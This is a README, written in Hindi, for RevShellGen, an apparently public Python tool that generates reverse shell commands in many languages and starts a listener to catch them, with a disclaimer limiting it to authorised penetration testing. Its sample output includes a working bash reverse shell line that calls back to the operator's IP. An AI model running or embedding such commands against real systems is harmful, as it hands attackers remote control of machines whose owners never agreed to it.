
Python 3 में लिखा गया रिवर्स शेल जनरेटर।
रिवर्स शेल जनरेटर
शैली के साथ रिवर्स शेल जनरेशन को स्वचालित करें
बिना किसी परेशानी के रिवर्स शेल उत्पन्न करें, एन्कोड करें और कैच करें
विशेषताएँ • स्थापना • उपयोग • शेल प्रकार • योगदान
RevShellGen एक शक्तिशाली कमांड-लाइन टूल है जो रिवर्स शेल कमांड उत्पन्न करने की प्रक्रिया को सरल बनाता है। अब सिंटैक्स देखने, मैन्युअल एन्कोडिंग करने या कॉन्फ़िगरेशन समस्याओं की कोई आवश्यकता नहीं है। यह टूल एक सहज इंटरफ़ेस के साथ सब कुछ संभालता है।
# PyPI से स्थापित करें
pip install revshellgen
# टूल चलाएँ
revshellgen
# रिपॉजिटरी क्लोन करें
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
# निर्भरताएँ स्थापित करें
pip3 install -r requirements.txt
# टूल चलाएँ
python3 revshellgen.py # या python3 revshellgen_cli.py
RevShellGen को निम्नलिखित Python पैकेजों की आवश्यकता है:
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate # विंडोज़ पर: venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt
# आपको python3-dev स्थापित करने की आवश्यकता हो सकती है
sudo apt-get install python3-dev # Debian/Ubuntu
sudo yum install python3-devel # RHEL/CentOS
# बेहतर लिसनर समर्थन के लिए ncat स्थापित करें
brew install nmap # इसमें ncat शामिल है
टूल प्रारंभ करें
python3 revshellgen.py
अपना रिवर्स शेल कॉन्फ़िगर करें
जनरेटेड कमांड स्वचालित रूप से क्लिपबोर्ड पर कॉपी हो जाती है
लिसनर प्रारंभ करें (स्वचालित)
लक्ष्य मशीन पर कमांड निष्पादित करें
![]() शेल चयन |
![]() कमांड जनरेशन |
RevShellGen में अब व्यापक TTY अपग्रेड निर्देश शामिल हैं। शेल कैच करने के बाद, टूल प्रदान करता है:
टूल स्वचालित रूप से उपयुक्त netcat वेरिएंट का पता लगाता है और उपयोग करता है:
ncat (पसंदीदा, nmap पैकेज से)nc (पारंपरिक netcat)nc सिंटैक्स समर्थन$ python3 revshellgen.py
__ __ __
____ ___ _ __ ___ / / ___ / / / / ___ _ ___ ___
/ __// -_)| |/ / (_-< / _ \/ -_) / / / / / _ `// -_) / _ \
/_/ \__/ |___/ /___//_//_\__/ /_/ /_/ \_, / \__/ /_//_/
/___/
---------- [ IP चुनें ] ----------
[ x ] 192.168.1.10 on eth0
[ ] 10.0.0.5 on tun0
[ ] मैन्युअल रूप से निर्दिष्ट करें
---------- [ पोर्ट निर्दिष्ट करें ] ----------
[ # ] पोर्ट नंबर दर्ज करें : 4444
---------- [ कमांड चुनें ] ----------
[ x ] unix_bash
[ ] unix_python
[ ] unix_nc_mkfifo
...
---------- [ रिवर्स शेल कमांड ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
[ + ] कमांड क्लिपबोर्ड पर कॉपी हो गया!
[ + ] पोर्ट 4444 पर लिसनर प्रारंभ किया जा रहा है...
योगदान का स्वागत है! कृपया बेझिझक पुल रिक्वेस्ट सबमिट करें। बड़े बदलावों के लिए, कृपया पहले एक इश्यू खोलें ताकि आप जो बदलना चाहते हैं उस पर चर्चा हो सके।
# अपना फोर्क क्लोन करें
git clone https://github.com/YOUR_USERNAME/revshellgen
cd revshellgen
# एक ब्रांच बनाएँ
git checkout -b feature/your-feature-name
# अपने बदलाव करें और कमिट करें
git add .
git commit -m "अपनी सुविधा जोड़ें"
# अपने फोर्क में पुश करें
git push origin feature/your-feature-name
# एक पुल रिक्वेस्ट बनाएँ
बग मिला या सुझाव है? कृपया GitHub पर एक इश्यू खोलें।
यह प्रोजेक्ट GNU जनरल पब्लिक लाइसेंस v3.0 के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।
यह टूल केवल अधिकृत पैठ परीक्षण और शैक्षिक उद्देश्यों के लिए है।
इस टूल का उपयोग उन सिस्टमों के खिलाफ करना जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध है। अंतिम उपयोगकर्ता की जिम्मेदारी है कि वह सभी लागू स्थानीय, राज्य और संघीय कानूनों का पालन करे। डेवलपर्स कोई देयता नहीं लेते हैं और इस प्रोग्राम के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।
| पैकेज | उद्देश्य |
|---|
pyperclip | क्लिपबोर्ड संचालन |
colorama | टर्मिनल रंग |
readchar | इंटरैक्टिव कुंजी इनपुट |
netifaces | नेटवर्क इंटरफ़ेस पहचान |
| शेल प्रकार | विवरण | प्लेटफ़ॉर्म |
|---|
| Bash | Bash TCP रिवर्स शेल | Linux/Unix |
| Python | Python-आधारित रिवर्स शेल | क्रॉस-प्लेटफ़ॉर्म |
| Netcat | पारंपरिक nc रिवर्स शेल | Linux/Unix |
| Netcat mkfifo | नेम्ड पाइप के साथ Netcat | Linux/Unix |
| Perl | Perl-आधारित रिवर्स शेल | क्रॉस-प्लेटफ़ॉर्म |
| PHP | PHP रिवर्स शेल | क्रॉस-प्लेटफ़ॉर्म |
| Ruby | Ruby-आधारित रिवर्स शेल | क्रॉस-प्लेटफ़ॉर्म |
| Java | Java रिवर्स शेल | क्रॉस-प्लेटफ़ॉर्म |
| AWK | AWK रिवर्स शेल | Linux/Unix |
| Socat | Socat रिवर्स शेल | Linux/Unix |
| Socat TTY | पूर्ण TTY के साथ Socat | Linux/Unix |
| Telnet | Telnet रिवर्स शेल | Linux/Unix |
| PowerShell | Windows PowerShell | Windows |